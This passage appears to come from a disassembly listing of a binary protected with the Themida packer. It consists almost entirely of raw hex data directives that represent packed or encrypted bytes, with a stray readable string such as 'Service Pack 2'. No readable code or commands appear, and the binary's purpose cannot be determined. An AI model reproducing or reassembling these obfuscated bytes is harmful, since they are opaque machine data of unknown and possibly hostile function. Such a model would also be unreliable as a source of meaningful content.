dd 0F9A56FC4h, 55E0BE54h, 9B48862Ch, 0C36A2876h, 6C9998AAh dd 6F69231h, 0C6500000h, 1DF5A2D8h, 779E4B81h, 0CB44F127h dd 21F09DD3h, 5E13477Dh, 0CC029C75h, 73A9F51Fh, 1E544AC6h dd 0C6FCA271h, 20839FF7h, 4607E676h, 92BC29E0h, 0DD3E25FBh dd 0A1B720AEh, 9EB04AFAh, 2FE28F35h, 0A9C92C48h, 62F7FFE6h dd 1C85EEB0h, 0C4DA39E6h, 6CA7D78Eh, 0D142A732h, 0A8FD3DCDh dd 81AA3569h, 0E683B215h, 0F787E0FFh, 0E68378DBh, 9F459EFFh dd 8386ED61h, 0ED9CFFE6h, 37C2DC37h, 0FF627E0Eh, 25FFE682h dd 0B7D363CCh, 7E6737Fh, 297E0E67h, 0C82DB8E6h, 47ED5648h dd 0E5B95AAFh, 8D1102AFh, 0C0A0E902h, 0A01A1430h, 6FC80FE0h dd 9B8382B1h, 0CF6EA999h, 63Ch, 5C920C0Ah, 53B63AFh, 0ABE1BD58h dd 578D11FEh, 13767AAh, 0E22F18CDh, 3BD986BCh, 90802D63h dd 0E82BD80Eh, 59B180B6h, 0E677DA3Dh, 0EBA20807h, 0A7326CA7h dd 3DCDD142h, 1ACDD713h, 0BA606B0Ch, 20DA0B27h, 37C7D73Ch dd 6478DBF7h, 459EFFE7h, 5991619Fh, 40387570h, 0D17727EBh dd 7F0h, 8A6D8100h, 6000001h, 0E68379E0h, 110358FFh, 749D028Dh dd 0BA1BC12Ah, 0C10191CFh, 0E68342A5h, 711770FFh, 737ABDD9h dd 0EF1907E6h, 22748C31h, 87D07659h, 345E9E2Eh, 0ED23800Bh dd 0FA3837B1h, 0DA39E68Ch, 37D98988h, 4A73FE67h, 0E913ABE1h dd 4651170Eh, 47F49A73h, 2E47D2CCh, 5975055Bh, 0FE0985Fh dd 0F96C2A83h, 5A999B9Ah, 56A801Fh, 3ADC0000h, 91812E64h dd 0EB2AD70Dh, 3FD07DB3h, 957C295Fh, 0EA9FD309h, 588E1001h dd 0FF3569ABh, 0AAE0BE52h, 528816FDh, 0AC0F2B83h, 0DA07E678h dd 6CA7BD74h, 0D142A732h, 0DE2642CDh, 0D4F08789h, 0FFE68371h dd 52DD469Fh, 128C8429h, 37B85E87h, 247A997Dh, 8EE61EEEh dd 0E843874h, 15000000h, 0BC6Dh, 44D02500h, 0A6CF5Ah, 0CA96F349h dd 7BDEFA3Ah, 0A9FFE683h, 0F612AA50h, 7E673C8h, 8D301D47h dd 16D4E973h, 0E5CE97FAh, 0FB64BD07h, 23B30C55h, 0F71D45CEh dd 5B083EA7h, 156E6B8h, 0D9028D11h, 287A033h, 67B2CE5Eh dd 2E0FE5BEh, 0BD633BD9h, 368B1B74h, 0F38BC1DDh, 0E804739Eh dd 0FFE73E85h, 43E952ABh, 91217D96h, 24CAD43Ch, 4F117891h dd 6741A3BFh, 0D06507E1h, 36F45D41h, 9E64CD29h, 8140DF1Ah dd 0C5000004h, 6A174D51h, 13C0F6A8h, 0B9669C02h, 65124856h dd 88BCF2ACh, 7925ECD3h, 207E9643h, 0CBD33DEAh, 732BE895h dd 0FA166E3Dh, 7E67997h, 6DA057BDh, 109h, 0CA96F306h, 73F01E3Ah dd 95EE07E6h, 3D61B005h, 31E489B2h, 0DA2FC76Dh, 822F6539h dd 67CAE691h, 8D07E673h, 2740CB34h, 196EFE62h, 0F019A4FAh dd 4B96B24Ah, 590FE663h, 0E9524CC4h, 8F0F0459h, 3668AAFFh dd 6EA55290h, 0FD8CA530h, 55B7D363h, 8107E0ACh, 76EB6A28h dd 9449E64h, 3EB6Ah, 0E3BB5B00h db 0ADh, 0 word_5E2AFA dw 8C12h ; DATA XREF: Themida_:005A67A6o dd 326CA956h, 0DEC04FFCh, 8816FBA8h, 82691E52h, 2CD90F8Fh dd 0D380B6E8h, 7E2B613Dh, 4D30995h, 792D90ACh, 0ED5307E6h dd 326CA736h, 0CDD142A7h, 3BF52642h, 0ACE2BC57h, 748FA4DCh dd 5F4238h, 0F3D30000h, 1B838E96h, 830C6F8Bh, 0E13AFFE6h dd 0CBCCE878h, 0F907E0D2h, 5ABB10A0h, 0D29E011Dh, 6BC407E0h dd 0D44E7702h, 0F8816E3Eh, 0EA64C64h, 0B2425CB9h, 5BE6B85Dh dd 0B64E8C32h, 0B02D6D8Ch, 8D3338DFh, 0E132B319h, 6987B07h dd 0ACF223D0h, 5DC0DC1Ch, 8307E132h, 52F1842Ah, 344h, 607CBCEBh dd 0FFE682FDh, 7724CA23h, 5FC2DE99h, 85FFE683h, 0D338C32Ch dd 79CE5E40h, 1E5C029Ch, 71FCA271h, 6197070Ch, 47D78900h dd 0CD9E8A1Dh, 29CFD67Bh, 15FC5191h, 0CEE34662h, 0B811FFE6h dd 9B35A94Fh, 4707E0FAh, 0D03763EEh, 0DA07E0E9h, 7BD09F59h dd 537C0797h, 0F1A5DDADh, 3B43406Eh, 0F3000000h, 0E13497B3h dd 96207E0h, 96F3AC63h, 501E3ACAh, 4E07E09Ch, 0D73E6AF5h dd 0A107E09Bh, 3CA12C72h, 213DC8D6h, 298E36F0h, 0AFE7EEA8h dd 96406EA7h, 26CCD241h, 11A45h, 6CA7D600h, 0CF42A732h dd 34DF44CFh, 99486C59h, 0E7411A7Dh, 75EF48FFh, 0B6D26FA5h dd 0FFE76953h, 56BF2881h, 0FAA471C6h, 0B75CC154h, 0AB3668ABh dd 5F891982h, 403159EEh, 0B0EE946Fh, 0E76CD23Ch, 3767ACFFh dd 0DFBF5401h, 5BDA0454h, 0C8339EE0h, 4BD6C84Bh, 0B213B922h dd 0D9C54DD7h, 0BA07775Fh, 0D13AD5E6h, 7727EC41h, 851DC3ECh dd 0E0E48369h, 0C656AF07h, 0BCE23186h, 0E0DBED50h, 40BA1307h dd 5EFA11B7h, 0CE0CB20Eh, 0B4441C6Dh, 0DDE9BC98h, 3A80EA0Fh dd 669E7DDDh, 0A4F989F2h, 63FB316Dh, 5945CE23h, 0ED608AEDh dd 0EF23B8FFh, 0F3A046AFh, 49C2801Eh, 92999883h, 1EAB857h dd 0BA5C0000h, 1101AEE4h, 6BAA578Dh, 0BF50FD33h, 15FCA9DFh dd 6A1F5389h, 0D80E9081h, 7FB5E92Bh, 2A603ED2h, 0D208967Dh dd 2C8FAB03h, 5A07E67Bh, 7CBC3DF4h, 0E682FD60h, 50CA23FFh dd 6B471504h, 6C19BF7Ah, 1469F9A5h, 89259FFFh, 3D93CC91h dd 6B0341E7h, 19A4FA16h, 769D4AF0h, 0F33BF228h, 2487A396h dd 52FFE683h, 0BC7279E8h, 59C2F56Eh, 42060F0h, 0FFE6EEA1h dd 3ED176CFh, 622BA60h, 7E10738h, 56820D66h, 7E0F5EFh dd 0EFBE78F9h, 99247A9Ah, 0C2FACA70h, 60406F02h, 0C2h dd 326CA7F1h, 0DCC24DA2h, 0D33EA336h, 2EE63BCBh, 0B37CA70h dd 0FFE687A1h, 366C32E1h, 89148A89h, 0B7471970h, 65B0B262h dd 1C85AE39h, 0DCC2DE76h, 0A07E09Bh, 6F1A7BB1h, 994BAECAh dd 207907E0h, 41D227B7h, 0A46DD25Dh, 53EB91FAh, 0DD78FC37h dd 191EA0Fh, 0FAA46CC1h, 930B0A6Fh, 3AD7842Ah, 90812E64h dd 9735500Eh, 0DB169998h, 0DB3Ch, 0F3AB6B00h, 9C0210BDh dd 425CB966h, 0EEB05F0Ch, 98060BB8h, 92792E62h, 3CE91F7Fh dd 0E390C6D8h, 8E3B712Dh, 14E31985h, 7C3DA0BCh, 0FD6307E6h dd 0A967BC46h, 9B416AF5h, 457B23EEh, 0ED237B98h, 0DE032B55h dd 19A4FA1Bh, 0F99E76F0h, 0DA435BB6h, 6CA77D34h, 7B78A232h dd 43FBBE64h, 0B116A94Fh, 0A5063C62h, 0CDD140E4h, 73D6F242h dd 0A1FFE73Dh, 0E676DF48h, 0E72D77CAh, 0B9449D07h, 4FDFBF54h dd 890AE50Fh, 2A46D64Dh, 0E6405BBEh, 8A308907h, 2A749F4Ch dd 2B254F9Fh, 0CDD14325h, 55630153h, 973D61B0h, 0A8285D23h dd 3EF83131h, 6CA9B95Ah, 157EA732h, 0BDE132DFh, 5C42CD32h dd 0F7A76CD1h, 900E076Ch, 0B973AC05h, 5C163F11h, 0CD039B78h dd 20ABF320h, 381h, 5CBB1A00h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh dd 85108E84h, 5D545552h, 4C581h, 0ED830000h, 242C8704h dd 47E3685Ch, 0C890000h, 57E96824h, 1C890000h, 9BE5624h dd 50670170h, 1B04C4B8h, 18D92D60h, 1B2D760Fh, 2540D507h dd 401675E2h, 0F707E0C1h, 9A0535D0h, 0C629AF01h, 28CE8158h dd 0C103112Fh, 0E68104E6h, 51EE441Ch, 0B0ABC681h, 0F189F6B9h dd 1C8B545Eh, 4C48124h, 81000000h, 4ECh, 240C8900h, 2B243481h dd 8F2C992Fh, 73810843h, 992F2B08h, 2434FF2Ch, 4C4815Bh dd 8B000000h, 8956240Ch, 4C681E6h, 83000000h, 348704C6h dd 89E95C24h, 0C2FFFA83h, 0C4B8D975h, 307FFFAh, 0CEE0FFC5h dd 0B6154846h, 5251DA55h, 0E92E50C9h, 8E0E0106h, 0DA3BB6DAh dd 0BC6621F9h, 7C71E03Bh, 164B5291h, 64B2A3Bh, 963859BDh dd 6E5AF01Dh, 7E4BE355h, 281E05BDh, 916968DBh, 0BA5F4320h dd 614C07F6h, 49621D46h, 0E86CC9F5h, 0Bh, 0B69C08CFh, 28D4D420h dd 0F3F7317h, 382h, 0D6B70F00h, 0C681FC5Eh, 6100h, 0D5709FB9h dd 84D8BB2Fh, 0C3814F84h, 0B07B933Ah, 5F22B656h, 87BA068Bh dd 8106CE97h, 1BB5FC0h, 817BB53Bh, 3C9761C0h, 0F4C08163h dd 660C9448h, 689CF8Bh, 81F88B66h, 2CCA2EEEh, 800F607Bh dd 5, 9E5EDABAh, 61C78B21h, 0CA2AC681h, 81667B2Ch, 81ED6AF1h dd 1EBh, 11850F00h, 8B000000h, 36E9D1h, 46930000h, 69E50950h dd 716DEF4Dh, 11E9h, 4F318A00h, 868CAE6Fh, 97F3E1E2h, 5AA88FA5h dd 85E9CF27h, 0BFFFFFFh, 80C98B2Ah, 1EC87784h, 5C71C17Fh dd 282B0EA6h, 12E9h, 0CB0D4700h, 62h, 2 dup(0) dd 0E9000000h, 0BFBh, 0FFFE3C68h, 5876E907h, 1168FFFBh dd 0E907FFFFh, 0FFFB586Ch, 8968h, 5862E908h, 7A68FFFBh dd 0E9080001h, 0FFFB5858h, 47F68h, 584EE908h, 1D68FFFBh dd 0E9080006h, 0FFFB5844h, 71968h, 583AE908h, 0B94EFFFBh dd 26D67D04h, 0A561088Fh, 1EF0971Eh, 8C7920A7h, 0F14AE35h dd 0B83F8683h, 44CBFA11h, 0D1586F9Dh, 5BE2D32Ah, 7B38B524h dd 0DBEFE213h, 2CD56EA2h, 143C9AE0h, 4C7992B9h, 1CEDC401h dd 926B0AA5h, 0E5259C23h, 0EEF471A8h, 42EF7CF0h, 0DA17AE5Bh dd 6EA33E89h, 0EFDD00B5h, 0B10CD742h, 0E88332CAh, 2AD9CE87h dd 0D11CFAB2h, 3A1A2994h, 4AB7D0AAh, 93000000h, 0E9205D9Dh dd 4087836Ah, 0B01D5AA5h, 0EF7C1F7Eh, 6BD49E8h, 3AD5206Bh dd 0DC2F4C05h, 0A36ED9EFh, 1CAB634Ah, 0E1DB2081h, 3FFBCD1Dh dd 0C97E93F4h, 431BCB9Ah, 5EA89B06h, 8A33D0AAh, 239C175Ch dd 0DD5693C1h, 0DDh, 259C6DB9h, 0C4FB07EEh, 0E815B487h dd 9E491BBh, 236E441Ch, 0A110E988h, 2BB9C16Ah, 9313613Dh dd 15E48356h, 0BAD8159Ch, 3EE7E287h, 888542BFh, 0AF5FE7E2h dd 19327D18h, 87A865E2h, 0BD08E7E2h, 0AF5E3572h, 11E88F16h dd 0B90EBF8Ah, 6FBA6530h, 0E82565D4h, 0BC3234B1h, 519CEF7Ch dd 0D60B53CAh, 1E45229Fh, 9AE5F771h, 0E08D7C63h, 0B6019C25h dd 0D431D06Bh, 0F665A2EDh, 0BE7BF877h, 1EF7D99Dh, 9DAD6AE7h dd 0C20DF7D9h, 0A6633A77h, 14F1981Fh, 739E6FADh, 9F6A2F17h dd 9AE5Ch, 5F56A900h, 0EAD931D8h, 7940BC63h, 2B54BF2h dd 9029D47Bh, 0DE646F09h, 6C139A23h, 0F89F269Fh, 852CB302h dd 7FB63D74h, 14D69310h, 0FD36EFE2h, 29906DC9h, 8E7C63A2h dd 14519C37h, 6EF5CC3Dh, 205D9D72h, 1F3A6CE9h, 59A4EF7Ch dd 0F3C23B22h, 0FDD00D58h, 0DC2F0FC8h, 9E1D9CEFh, 0DC2F6421h dd 3C79C4EFh, 88BB16E1h, 49D0AA25h, 0AFh, 259C6D25h, 0C3FA07EEh dd 0E914B386h, 58B299D0h, 4A87D26Dh, 0A0594077h, 4967D411h dd 65E7E21Bh, 853CC994h, 0F85A033Ah, 232320D4h, 0F89F5E9Bh dd 0A615B001h, 75F22966h, 0EF7D0373h, 940B92DDh, 63E01754h dd 0F7714FBBh, 0AC93CA15h, 42FF7C51h, 0A2F7D9E2h, 0DE850C57h dd 935C9A23h, 4D2F173Fh, 8D93F82h, 897E0000h, 0F606AD34h dd 759138BFh, 0EE20C74Eh, 5CA950D7h, 5F44DE65h, 0E86F56B3h dd 74FBCA41h, 1883FCDh, 8B12A35Ah, 0AB68E554h, 0BEFE215h dd 906D9ED2h, 9549F229h, 0B1366192h, 0F3229F2h, 529D8A6Bh dd 5EAF5615h, 6DE4E067h, 45EE259Ch, 0C72CA3C0h, 27FA37AFh dd 9407188h, 9DDAEB22h, 0EA2767DEh, 0BD4D34B3h, 0A25CC906h dd 0FCEF7CD0h, 867716B1h, 0F511F82Fh, 0EC378E7Ah, 0AC90651h dd 0E41BAA63h, 0CAC56E3Bh, 0C906E908h, 2CD8BFF6h, 72AFFA95h dd 58432605h, 743F5A83h, 0E26958B1h, 0BCF3C23Bh, 4503C03Dh dd 18638360h, 0EAD108DBh, 0FA67A411h, 83604540h, 0C68F5AB5h dd 58159237h, 0B8836045h, 0F49B226Dh, 0DC11AC05h, 72F7B2CCh dd 3D08D3F6h, 0C76EF5CCh, 75E47F36h, 42C1F835h, 0DB18AF5Bh dd 0FA79646Eh, 2CB3FE8Ah, 13875B5h, 0F4AB5E84h, 2AC51092h dd 54AE3BF5h, 644BCA93h, 85E01D94h, 8C7C63BAh, 124F9A35h dd 22AE9CA7h, 4C9357Ch, 0F8110000h, 5E93DBC4h, 1D0CAA27h dd 63AEEF7Ch, 6C9BCD32h, 6FAFBCA3h, 287EFB32h, 0DAD44609h dd 6FDA8B79h, 77897C6Bh, 0F5AA540h, 0E12C9570h, 7E49C3AAh dd 885B98E3h, 0DB86D119h, 0DFDE1531h, 51CE0550h, 0DC40623Ah dd 611E9BD2h, 0C1DCA072h, 0DF42B76h, 973EC5FCh, 4C114F66h dd 0F8D45EAFh, 761EA2Dh, 1F60000h, 8E7E25ACh, 0FD09B037h dd 66983FC6h, 0E421C84Fh, 0D7BC56DDh, 60E7DE2Bh, 0EC7342B9h dd 7900B745h, 38A3BD2h, 23E05DCCh, 83EFE217h, 9C6D164Ah dd 6C538A25h, 428D2891h, 0EBD22E05h, 0DD1964h, 9DF50000h dd 0C2291AA7h, 0F89322DBh, 576E3B97h, 6FBA2974h, 98D2E632h dd 1C277A45h, 0B5D7508Fh, 69h, 1AA79D91h, 16AC66E3h, 69E8E7E2h dd 0E2172FECh, 7448FE7h, 7CE717B6h, 4EE9348Dh, 7E1DB803h dd 18FF368Fh, 0D493D0E1h, 4AE5DC2Dh, 275E93DBh, 7C3154AAh dd 20BB06EFh, 0A13C8B81h, 20BB0A02h, 80DDA8C3h, 0DC424603h dd 105BA6EFh, 9BF6C12Ch, 0D0AA18A8h, 1029h, 0EFC90500h dd 62000000h, 0CDD669B9h, 0B1EECF3Ch, 205D9D85h, 45B26CE9h dd 0D50CEF7Ch, 0DC479B58h, 11B0FBEFh, 3F7DC8FFh, 271AC56Ch dd 700E511Ch, 0E7000006h, 6F169D10h, 0FAA1289Fh, 8930B70Eh dd 12B94077h, 0AD47CEF7h, 0D8E11CA6h, 6451AA51h, 0F1C436DDh dd 7B4AC36Ah, 0D14EBDF4h, 0EFE21814h, 9D073B74h, 0E5291AA7h dd 0E0D72922h, 635AA645h, 0D04D67C8h, 556FE3ADh, 76E3AEC9h dd 0F9582376h, 0D750B24Ah, 5487h, 0A79D6300h, 0D32F3AC6h dd 1F56A1ECh, 0B8F5CC38h, 2C964B8Fh, 80B30ED9h, 41D7503Dh dd 35h, 1AA79D1Dh, 0E819C229h, 2F3D0C13h, 48E4306Dh, 1BB609FFh dd 99348D7Ch, 8F56213Ch, 62AD487Fh, 0F9C41717h, 0E25CEAA6h dd 53E71AE7h, 74D7506Fh, 0FFFFFEABh, 1AA79D50h, 9F49E529h dd 330814Ch, 0BED7503Dh, 2B7h, 29987057h, 906DC0ECh, 70578E29h dd 428D2899h, 0E5D82E05h, 0A78EBD4Ah, 7EC9645Bh, 5A1BE641h dd 0E88F16AFh, 0D6628E1Dh, 80101A7Eh, 0E2B44603h, 105BA6E7h dd 73BB2AC5h, 0DF88073Eh, 0F1041424h, 67D41132h, 0EF7C6851h dd 0D8D03CE5h, 1EDAEC0Ch, 0E4590E1h, 79F6D527h, 0EFDCF9BCh dd 4986D11Ch, 33FE1976h, 0AD18F3DAh, 556C9970h, 0F7DA27CEh dd 0DCF9BD7Ah, 506797EFh, 6516AB5h, 6F9D84BBh, 0E1700742h dd 69B4C25Ah, 0EBD22FCEh, 5B9063A0h, 0EFDC40A2h, 0AA27A615h dd 0EFDC42EDh, 0AB63024Dh, 0F936811Ch, 0F712D39Eh, 65A047CEh dd 4336F370h, 4B96EFDCh, 0CE6950ACh, 2E9D3883h, 8B48C5EEh dd 0EBEFDC43h, 0B803BA4Ch, 23B9366Dh, 0D5F7763Bh, 0DDC4038Ah dd 0B0FB962Dh, 2EC9F811h, 0BFFFA6E3h, 92644B82h, 611F801Bh dd 4098C1FCh, 7BEA2772h, 0CFE615FCh, 0B14AE934h, 505AC704h dd 0EAFF7109h, 12CF049Fh, 0ECFFD109h, 6D0CA71Eh, 8D289Fh dd 0B1AF1AE5h, 24099942h, 25D2336Dh, 33C28DE8h, 27FB6EBh dd 76B2FF8h, 457C8D74h, 0D1225FAAh, 92684F86h, 8027E623h dd 0FE9D3889h, 0F02FB60Fh, 3037F471h, 4C9707CBh, 0EB20680Fh dd 4B3137B4h, 58A30F65h, 5ACF88BDh, 0F15C0FC5h, 7D78CB26h dd 5E59F0B3h, 35000000h, 0C30A5D9Dh, 0FC0435DBh, 85043B86h dd 0BF5A639Eh, 0F1A11374h, 4820AC9h, 83285AC7h, 0F574EF7Ch dd 0F56D1B4Ch, 99CED75Ch, 0EFDCFFDCh, 63B4F13Ch, 0FFAE118h dd 6FD01BB6h, 25BEC662h, 0C99CD974h, 0DC9CDB94h, 6AE968EFh dd 0DC9D30EDh, 84590EFh, 0A48FE2ADh, 1DD0AABBh, 0DAh, 0D19C6DF9h dd 0A4EF8A39h, 0E21FBE59h, 16B572EFh, 0CA15E7E2h, 4BE6D12Bh dd 7B1AB500h, 61983382h, 9C378E7Ah, 0E09D1A51h, 40E7E216h dd 28E1B8F5h, 0B7D51299h, 0D3E7E21Bh, 0F2C5373Ah, 3AC10C57h dd 0F467BC3h, 0E3801566h, 0C906F308h, 7F4DB5Ah, 0DA0471AEh dd 34EF7667h, 0BB09B2E9h, 6BE0BFFFh, 836AD916h, 21083F86h dd 0F641DCEBh, 1830FC95h, 0EC298FE1h, 427B862Dh, 1CFA2D04h dd 0C90CD727h, 36Bh, 1BA21BECh, 0A62D8474h, 35BC03FFh dd 0BE45788Eh, 4CD3EA17h dd 0E421A1B2h, 5CAF56DDh, 0C13BE269h, 31C86FF6h, 53C2F980h dd 0E21B19D6h, 0C4079EFh, 873D2CD5h, 0D9815797h, 8138C59Ch dd 914ECB4Ah, 0F1E7E2A4h, 3AA69A6h, 0F534BB0Ah, 0A43CF976h dd 519CE7E2h, 9C6DE814h, 12EB8A25h, 0BD08BF4Fh, 0F510F736h dd 16A663E0h, 0BB06E7E2h, 0D5073370h, 0AA518EEh, 52AB82BFh dd 0D029C863h, 0AE2BAAE1h, 0E7E216F1h, 0AC90651h, 0DF164B93h dd 7C315C62h, 30C9B0EFh, 7CFBBC6Bh, 550B93Eh, 91E21F6Ah dd 0BD76AB46h, 4AEFDC52h, 76BD14DFh, 4BD0AA05h, 65h, 205D9D27h dd 6CEB6AE9h, 0E21732EFh, 124792E7h, 0E7E21755h, 0C02D6AB5h dd 0EF7C1F8Eh, 21DE5BDAh, 81EFDC30h, 9A8F936h, 9A57D4F7h dd 0FAEFDC2Fh, 0E21964AFh, 6F9D0B39h, 0CA078C11h, 3A17C0F7h dd 7FA656FDh, 853CC968h, 9522DB48h, 44AFEFDCh, 357B2479h dd 0CDA25A6h, 0BF84EF2Ch, 12D0AA90h, 0C6h, 259C6DEEh, 0A71EEB8Ah dd 259C6D0Ch, 0A312EB8Ah, 0E934DD1Ch, 4EDE4333h, 6886F330h dd 0ECE7E2CAh, 0CB33F06Dh, 0F10DE7E2h, 2966B1CAh, 830ABB52h dd 5D942DDCh, 0CAA461DEh, 80BCE7E2h, 3BF45CC2h, 0A5E22D46h dd 0E61B63D2h, 6CF832AFh, 752EF7Ch, 8CC10980h, 0D198D855h dd 0B702F770h, 566D9980h, 46C3AA19h, 10B9F87Fh, 0CA9DB67Bh dd 88053C73h, 0F7D993CBh, 0CCA3E02Bh, 0E54A8831h, 132F1789h dd 1CD0548h, 758A0000h, 0FA12B940h, 619D44CBh, 0DA2CD35Ah dd 48B55CE3h, 4350EA71h, 0F47B42BFh, 8007BE4Dh, 0D9423D9h dd 971E9766h, 0B774F160h, 17EFE21Ch, 906DAADEh, 0FE0BF229h dd 0A4E12CC7h, 0F6CF3EE5h, 5D9D736Fh, 3A6CE920h, 0A4EF7C1Fh dd 0D089BE59h, 0A2EFDC2Eh, 20BF5A6Bh, 0A942DDE4h, 6A4EBB86h dd 56DD34FFh, 6BD0AA25h, 0CBh, 259C6D47h, 0BFF607EEh, 3550C324h dd 0C1724998h, 0C7663976h, 0CD4C833Ah, 0E2939350h, 9B58D5E7h dd 0FBE7E293h, 0F4C97B0h, 0E31E053Ch, 0B7F43FDAh, 0E2992C4Ah dd 3DC9B0E7h, 63A0EB86h, 0BD447D8Ch, 33CEE716h, 104784C4h dd 7CAC5993h, 3168B3EFh, 0C502B34Ah, 124F8F06h, 0AF06F4DBh dd 0A360DD14h, 3EFDCADh, 0C1306DB8h, 70FB5F44h, 5BD80FF7h dd 0F7D98D9Eh, 9F6631B6h, 314A6EF4h, 7D649BE6h, 0BB23980h dd 0BC89C7FEh, 482F1784h, 0D13A7Dh, 71860000h, 0FE0EB53Ch dd 6D9940C7h, 0D628CF56h, 54B158DFh, 474CE66Dh, 0F0774EBBh dd 7C03B249h, 99027D5h, 931AAB62h, 0B370ED5Ch, 13EFE21Dh dd 906DA6DAh, 2FBA229h, 0D5302CB3h, 0CA71EEEh, 5CAD84C1h dd 0BB472E65h, 1E6958B0h, 9E6F0EE1h, 2847F027h, 9D27C87Dh dd 0ACEBAAE7h, 0E78239C5h, 70B85F9Ch, 0BF4F1AE7h, 0D722BD08h dd 9BD8558Ch, 0FBEF79E2h, 7813AA5Ch, 0C4ABE22Dh, 98E37E37h dd 10E9885Bh, 9A731AA1h, 3E55D215h, 8BD65A20h, 0BE6EBBF0h dd 7F9A4AADh, 997259B4h, 210ACB2Ch, 91D79DEEh, 358C7D54h dd 0BFF607AEh, 3C738524h, 5E2944A1h, 0C84F6697h, 0A2D9E821h dd 2FE9A623h, 0FE495AADh, 7B16A95Fh, 0DD20F330h, 3, 6DB6DAB9h dd 0E988239Ah, 6706A110h, 0E8872295h, 6807A213h, 0EA89249Dh dd 6C0BA61Fh, 0E988239Ah, 6C0BA61Dh, 0FA8A259Ch, 81E18951h dd 4C1h, 4BB5300h, 29000000h, 0C875BD9h, 80685C24h, 89000053h dd 0EC83243Ch, 241C8904h, 6FD468h, 242C8900h, 0FFFCE1BDh dd 5DEF8907h, 32A368h, 24248900h, 4240481h, 5B000000h dd 5480B850h, 0E0D11789h, 0EA74692Dh, 348F2D7Dh, 0D801B128h dd 0FF583889h, 835B2434h, 3C8B04C4h, 0E6895624h, 4C681h dd 0C6810000h, 4, 5C243487h, 0FB4C8FE9h, 78D7A1FFh, 95CEC201h dd 0B84436A9h, 800080Fh, 0E0FFC503h, 7BA546C5h, 6DD894FCh dd 2F0E9538h, 456AF415h, 0BF8FAA2h, 78F278A7h, 5EB1BA74h dd 6F42A3B6h, 296AF368h, 44F60170h, 2C32DE57h, 25B4AD73h dd 7BAA4DFFh, 48DA0BDDh, 65DE1CACh, 6AA9AE13h, 685A4BD9h dd 20DDA387h, 7EF38FE1h, 370D625Eh, 50D9DE4Dh, 24EBh, 8 dup(0) dd 0BDE90000h, 89000000h, 8F5B5h, 0ED858B08h, 8B07FA33h dd 0FA224585h, 3FB58D07h, 8D080009h, 0FD7DE285h, 0C3D0FF07h dd 0E855h, 815D0000h, 945EDh, 0EDBD8308h, 107FA33h, 2C850Fh dd 0B5FF0000h, 80008F5h, 2245858Bh, 363507FAh, 0FF348127h dd 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h, 40E9C0h dd 1C6A0000h, 8F9B58Dh, 0FF560800h, 8F5B5h, 45858B08h dd 3507FA22h, 34812736h, 0C483D0FFh, 0F9B58D0Ch, 8B080008h dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h dd 0BD830000h, 7FA33EDh, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h dd 91E858Dh, 85890800h, 7FA0825h, 0A6E9h, 0D1E53E00h, 9407h dd 500h, 100h, 0A2800h, 200h, 72655300h, 65636976h, 63615020h dd 32206Bh, 1Fh dup(0) dd 0E9000000h, 0C71h, 0C2668h, 7452E908h, 5768FFFAh, 0E908000Dh dd 0FFFA7448h, 0E4468h, 743EE908h, 0B368FFFAh, 0E908000Eh dd 0FFFA7434h, 100068h, 742AE908h, 8A68FFFAh, 0E9080010h dd 0FFFA7420h, 143968h, 7416E908h, 9768FFFAh, 0E9080015h dd 0FFFA740Ch, 0E016888Eh, 89BFDF33h, 2F6539DCh, 0DB118D82h dd 85BBE32Eh, 5EB39C51h, 0B75D0A40h, 0C04B1E7h, 64AF5C92h dd 0DD35043Ah, 0E68D5EC1h, 671E8407h, 1BF66CA7h, 66CFF883h dd 19D76DBh, 411F6ACBh, 0ADFB95B1h, 4EA707E0h, 0AD3097C3h dd 0B93A07E0h, 0B5C0F8FFh, 235E406Eh, 0EF000000h, 3ACA96F3h dd 0E09C501Eh, 57B94E07h, 2753DE47h, 7E09BC0h, 888F49CAh dd 406EA750h, 0FBEEh, 6CA77F00h, 257A732h, 80148E10h, 6637C3D1h dd 0D938E58Bh, 0D9F535C5h, 0FFE75F76h, 769E439Ch, 0CE749D28h dd 613DD63Bh, 0E13186D6h, 630932BDh, 0B1415DB6h, 0CD488A87h dd 5EFDD8BAh, 0E938B236h, 59973DB5h, 0E6B3F9E5h, 0C9281FFh dd 0B4EA29D6h, 0AB791029h, 3FCF3866h, 0E0CC8523h, 92C82107h dd 78085831h, 25B0EE23h, 0A2BE56FCh, 0FDD6D5Fh, 6F2FE136h dd 972780C9h, 88A6706Dh, 997118Dh, 71E35DD3h, 87E4B4B0h dd 0BAFA9238h, 67F2AC65h, 8198FB17h, 65BEFFEDh, 0ED506CFCh dd 13FFED80h, 0AA6714BAh, 30F64F4h, 1FB7F59Bh, 0E89CBF5h dd 993FABEBh, 0BB7925ECh, 999863B0h, 31C1609Bh, 0CD00000Ah dd 721F5549h, 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h dd 811DF4DBh, 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h dd 7E68F9Fh, 0A7A85FC5h, 51FE346Ah, 0EFA6DCC2h, 3ACA96F3h dd 0E09C501Eh, 8ECE4E07h, 0E09B0F72h, 70DC3507h, 7E09B0Dh dd 0E171DA33h, 0D5C94CA1h, 52B5214Ah, 8007E09Bh, 48E10516h dd 2B948440h, 5FC6F285h, 6907E17Dh, 127591D1h, 4007E17Dh dd 6C041E7h, 6F89C7FFh, 0E86540h, 0A7F60000h, 42A7326Ch dd 0EA3FCFCFh, 40D37925h, 0E6882814h, 0FD2767FFh, 0CDE0E19Dh dd 52B52137h, 80FFE731h, 3FD48127h, 79DCF838h, 0A7FFE731h dd 317FE24Eh, 4CA5FFE7h, 1300ADE3h, 4DD8C64Fh, 81DCAA24h dd 5B0B11Fh, 77CC0C9Ch, 5079049Ah, 0E6AA81E4h, 0E14460FFh dd 0FFFE6A9h, 761C75B6h, 0A1BFCAE3h, 0CB57F511h, 0EE8307E0h dd 87EC7727h, 5C85108Eh, 0BAFA8AF3h, 0E08A3B9Eh, 6A106907h dd 0A2BECB2Ch, 69A2F612h, 85D0FDDh, 0A308930Bh, 7AA32E70h dd 0C9226B11h, 712DE439h, 1B838E3Bh, 9899D05Dh, 59F83399h dd 900h, 508618FEh, 0F92F6FA3h, 9FD5C94Ch, 4B811DF2h, 0F52B739Eh dd 0EE230CC1h, 47CD7AB0h, 9C742157h, 0F41FCC02h, 